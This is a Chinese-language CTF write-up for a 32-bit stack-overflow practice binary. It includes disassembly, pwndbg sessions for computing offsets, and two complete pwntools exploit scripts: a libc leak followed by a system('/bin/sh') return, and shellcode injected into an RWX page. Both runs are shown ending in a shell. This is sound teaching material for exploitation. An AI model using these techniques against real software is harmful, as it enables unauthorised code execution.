pwn Bin Writeup

TOC

  1. 1. 程序功能介绍
    1. 1.1. 安全防护
    2. 1.2. 主要功能
  2. 2. 程序
  3. 3. 思路
    1. 3.1. 第一种思路:泄露基地址
      1. 3.1.1. 先在下面的0x08048589处下断点
      2. 3.1.2. 运行到ret处查看main返回地址
      3. 3.1.3. 泄露基地址
      4. 3.1.4. getshell
      5. 3.1.5. 完整脚本
      6. 3.1.6. 运行实例
    2. 3.2. 第二种思路:注入shell
      1. 3.2.1. 写入shell
      2. 3.2.2. 触发
      3. 3.2.3. 完整脚本
      4. 3.2.4. 运行实例
  4. 4. 总结

源程序下载:Bin

该题主要考验对于栈的构造能力。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec Bin
[*] '/home/ex/test/Bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE

主要功能

由于功能简单,所以直接贴汇编代码:

.text:0804853B ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804853B public main
.text:0804853B main proc near ; DATA XREF: _start+17↑o
.text:0804853B
.text:0804853B buf = byte ptr -64h
.text:0804853B argc = dword ptr 8
.text:0804853B argv = dword ptr 0Ch
.text:0804853B envp = dword ptr 10h
.text:0804853B
.text:0804853B ; __unwind {
.text:0804853B push ebp
.text:0804853C mov ebp, esp
.text:0804853E and esp, 0FFFFFFF0h
.text:08048541 add esp, 0FFFFFF80h
.text:08048544 call init
.text:08048549 mov dword ptr [esp], offset s ; "**************************************"
.text:08048550 call _puts
.text:08048555 mov dword ptr [esp], offset aWelcomeToExplo ; "welcome to exploit train"
.text:0804855C call _puts
.text:08048561 mov dword ptr [esp], offset s ; "**************************************"
.text:08048568 call _puts
.text:0804856D mov dword ptr [esp+8], 200h ; nbytes
.text:08048575 lea eax, [esp+80h+buf]
.text:08048579 mov [esp+4], eax ; buf
.text:0804857D mov dword ptr [esp], 0 ; fd
.text:08048584 call _read
.text:08048589 mov dword ptr [esp], offset aSeeYou ; "see you~~"
.text:08048590 call _puts
.text:08048595 leave
.text:08048596 retn
.text:08048596 ; } // starts at 804853B
.text:08048596 main endp

程序

明显的栈溢出。

思路

  1. 泄露基地址
  2. 注入shell

第一种思路:泄露基地址

可以利用puts函数打印出got表的值。下面是计算偏移的步骤。

先在下面的0x08048589处下断点

.text:08048584                 call    _read
.text:08048589 mov dword ptr [esp], offset aSeeYou ; "see you~~"

得到我们输入的字符串的地址,这里我输入aaaa

aaaa

Breakpoint 1, 0x08048589 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x5
EBX 0x0
ECX 0xffffcd0c ◂— 'aaaa\n'
EDX 0x200
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1d7d6c */
EBP 0xffffcd78 ◂— 0x0
ESP 0xffffccf0 ◂— 0x0
EIP 0x8048589 (main+78) ◂— mov dword ptr [esp], 0x8048670
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x8048589 <main+78> mov dword ptr [esp], 0x8048670
0x8048590 <main+85> call puts@plt <0x80483c0>

0x8048595 <main+90> leave
0x8048596 <main+91> ret

0x8048597 nop
0x8048599 nop
0x804859b nop
0x804859d nop
0x804859f nop
0x80485a0 <__libc_csu_init> push ebp
0x80485a1 <__libc_csu_init+1> push edi
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffccf0 ◂— 0x0
01:0004│ 0xffffccf4 —▸ 0xffffcd0c ◂— 'aaaa\n'
02:0008│ 0xffffccf8 ◂— 0x200
03:000c│ 0xffffccfc ◂— 0xc2
04:0010│ 0xffffcd00 ◂— 0x0
05:0014│ 0xffffcd04 ◂— 0xc30000
06:0018│ 0xffffcd08 ◂— 0x0
07:001c│ ecx 0xffffcd0c ◂— 'aaaa\n'
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8048589 main+78
f 1 f7deee81 __libc_start_main+241
Breakpoint *0x08048589

得到字符串地址为0xffffcd0c

运行到ret处查看main返回地址

直接使用stepret指令即可。

pwndbg> stepret

Temporary breakpoint -23, 0x08048596 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0xa
EBX 0x0
ECX 0xf7faedc7 (_IO_2_1_stdout_+71) ◂— or dl, byte ptr [eax - 0x80508] /* 0xfaf8900a */
EDX 0xf7faf890 (_IO_stdfile_1_lock) ◂— 0
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1d7d6c */
EBP 0x0
ESP 0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10
EIP 0x8048596 (main+91) ◂— ret
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x8048589 <main+78> mov dword ptr [esp], 0x8048670
0x8048590 <main+85> call puts@plt <0x80483c0>

0x8048595 <main+90> leave
► 0x8048596 <main+91> ret <0xf7deee81; __libc_start_main+241>

0xf7deee81 <__libc_start_main+241> add esp, 0x10
0xf7deee84 <__libc_start_main+244> sub esp, 0xc
0xf7deee87 <__libc_start_main+247> push eax
0xf7deee88 <__libc_start_main+248> call exit <0xf7e063d0>

0xf7deee8d <__libc_start_main+253> mov edi, dword ptr [esp + 8]
0xf7deee91 <__libc_start_main+257> mov eax, dword ptr [edi + 0x38a4]
0xf7deee97 <__libc_start_main+263> ror eax, 9
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10
01:0004│ 0xffffcd80 ◂— 0x1
02:0008│ 0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00d ◂— '/home/ex/test/Bin'
03:000c│ 0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01f ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│ 0xffffcd8c —▸ 0xffffcda4 ◂— 0x0
05:0014│ 0xffffcd90 ◂— 0x1
06:0018│ 0xffffcd94 ◂— 0x0
07:001c│ 0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1d7d6c */
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8048596 main+91
f 1 f7deee81 __libc_start_main+241
Breakpoint *0x8048596
pwndbg>

看到返回地址0xffffcd7c,然后计算他们的偏移地址:0xffffcd7c-0xffffcd0c = 112

泄露基地址

sh.sendline('a' * 112 
+ p32(elf.symbols['puts']) + p32(elf.symbols['main']) # 再来一次
+ p32(elf.got['__libc_start_main'])
)

sh.recvuntil('see you~~\n')

libc_addr = u32(sh.recv(4)) - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))

上面执行完puts之后,又会回到main函数,这样我们就不用担心栈被破坏的问题。但是之后的偏移需要重新计算,方法和上面一模一样。这里我计算的是104

getshell

sh.sendline('a'*104 
+ p32(libc_addr + libc.symbols['system'])
+ p32(libc_addr + libc.symbols['exit'])
+ p32(libc_addr + libc.search('/bin/sh').next())
+ p32(0)
)

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

elf = ELF('./Bin')

sh = process('./Bin')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

sh.sendline('a' * 112
+ p32(elf.symbols['puts']) + p32(elf.symbols['main']) # 再来一次
+ p32(elf.got['__libc_start_main'])
)

sh.recvuntil('see you~~\n')

libc_addr = u32(sh.recv(4)) - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))


sh.sendline('a'*104
+ p32(libc_addr + libc.symbols['system'])
+ p32(libc_addr + libc.symbols['exit'])
+ p32(libc_addr + libc.search('/bin/sh').next())
+ p32(0)
)

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[*] '/home/ex/test/Bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[+] Starting local process './Bin': Done
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_addr: 0xf7da5000
[*] Switching to interactive mode

**************************************
welcome to exploit train
**************************************
see you~~
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark)
$

第二种思路:注入shell

注入shell的好处在于,在没有libc的情况下,也能getshell。

通过vmmap命令,我们发现0x804a000-0x804b000既有写权限,也有执行权限,所以我们将要执行的shell写在这里,为了预防覆盖的正常数据,尽量用靠后一点的内存,这里我用的是0x804af00

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/ex/test/Bin
0x8049000 0x804a000 r-xp 1000 0 /home/ex/test/Bin
0x804a000 0x804b000 rwxp 1000 1000 /home/ex/test/Bin
0xf7dd6000 0xf7fab000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fac000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fae000 r-xp 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7faf000 rwxp 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faf000 0xf7fb2000 rwxp 3000 0
0xf7fcf000 0xf7fd1000 rwxp 2000 0
0xf7fd1000 0xf7fd4000 r--p 3000 0 [vvar]
0xf7fd4000 0xf7fd6000 r-xp 2000 0 [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]

写入shell

sh.sendline('a'*112 
+ p32(elf.symbols['read']) + p32(elf.symbols['main']) # 再来一次
+ p32(0) + p32(0x804af00) + p32(100)
)

sh.recvuntil('see you~~\n')
sh.sendline(asm(shellcraft.sh()))

触发

sh.sendline('a'*104 
+ p32(0x804af00)
)

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

elf = ELF('./Bin')

sh = process('./Bin')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

sh.sendline('a'*112
+ p32(elf.symbols['read']) + p32(elf.symbols['main']) # 再来一次
+ p32(0) + p32(0x804af00) + p32(100)
)

sh.recvuntil('see you~~\n')
sh.sendline(asm(shellcraft.sh()))

sh.sendline('a'*104
+ p32(0x804af00)
)

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp2.py 
[*] '/home/ex/test/Bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[+] Starting local process './Bin': Done
[*] Switching to interactive mode
**************************************
welcome to exploit train
**************************************
see you~~
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark)
$

总结

条条大路通罗马。